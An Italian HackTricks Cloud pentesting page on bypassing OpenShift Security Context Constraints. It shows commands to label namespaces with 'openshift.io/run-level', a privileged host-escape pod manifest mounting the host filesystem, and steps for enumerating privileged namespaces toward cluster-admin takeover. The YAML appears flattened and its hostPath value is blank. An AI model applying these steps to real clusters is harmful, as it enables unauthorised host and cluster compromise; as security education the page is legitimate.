Italian - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

OpenShift - SCC bypass

L'autore originale di questa pagina è Guillaume

Namespace Privilegiati

Per impostazione predefinita, SCC non si applica ai seguenti progetti:

  • default

  • kube-system

  • kube-public

  • openshift-node

  • openshift-infra

  • openshift

Se si distribuiscono pod all'interno di uno di questi namespace, nessun SCC verrà applicato, consentendo la distribuzione di pod privilegiati o il mount del file system dell'host.

Etichetta del Namespace

Esiste un modo per disabilitare l'applicazione di SCC sul tuo pod secondo la documentazione di RedHat. Avrai bisogno di almeno uno dei seguenti permessi:

  • Creare un Namespace e creare un Pod in questo Namespace

  • Modificare un Namespace e creare un Pod in questo Namespace

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Il label specifico openshift.io/run-level consente agli utenti di aggirare gli SCC per le applicazioni. Secondo la documentazione di RedHat, quando questo label viene utilizzato, nessun SCC viene applicato a tutti i pod all'interno di quel namespace, rimuovendo efficacemente qualsiasi restrizione.

Aggiungi Label

Per aggiungere il label nel tuo namespace:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

Per creare uno spazio dei nomi con l'etichetta tramite un file YAML:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Ora, tutti i nuovi pod creati nello spazio dei nomi non dovrebbero avere alcun SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

In assenza di SCC, non ci sono restrizioni sulla definizione del tuo pod. Ciò significa che un pod maligno può essere facilmente creato per sfuggire al sistema host.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Ora è diventato più facile scalare i privilegi per accedere al sistema host e successivamente prendere il controllo dell'intero cluster, ottenendo i privilegi 'cluster-admin'. Cerca la parte di Post Esploitation del Nodo nella seguente pagina:

Attacking Kubernetes from inside a Pod

Etichette personalizzate

Inoltre, in base alla configurazione del target, potrebbero essere utilizzate alcune etichette personalizzate / annotazioni nello stesso modo del precedente scenario di attacco. Anche se non è stato progettato per questo, le etichette potrebbero essere utilizzate per concedere permessi, limitare o meno una risorsa specifica.

Prova a cercare etichette personalizzate se riesci a leggere alcune risorse. Ecco un elenco di risorse interessanti:

  • Pod

  • Deployment

  • Namespace

  • Service

  • Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Elenco di tutti i namespace privilegiati

$ oc get project -o yaml | grep 'run-level' -b5

Exploit avanzato

In OpenShift, come dimostrato in precedenza, avere il permesso di distribuire un pod in un namespace con l'etichetta openshift.io/run-level può portare a un takeover diretto del cluster. Dal punto di vista delle impostazioni del cluster, questa funzionalità non può essere disabilitata, poiché è intrinseca al design di OpenShift.

Tuttavia, misure di mitigazione come Open Policy Agent GateKeeper possono impedire agli utenti di impostare questa etichetta.

Per aggirare le regole di GateKeeper e impostare questa etichetta per eseguire un takeover del cluster, gli attaccanti dovrebbero identificare metodi alternativi.

Riferimenti

PreviousOpenShift - Tekton

Last updated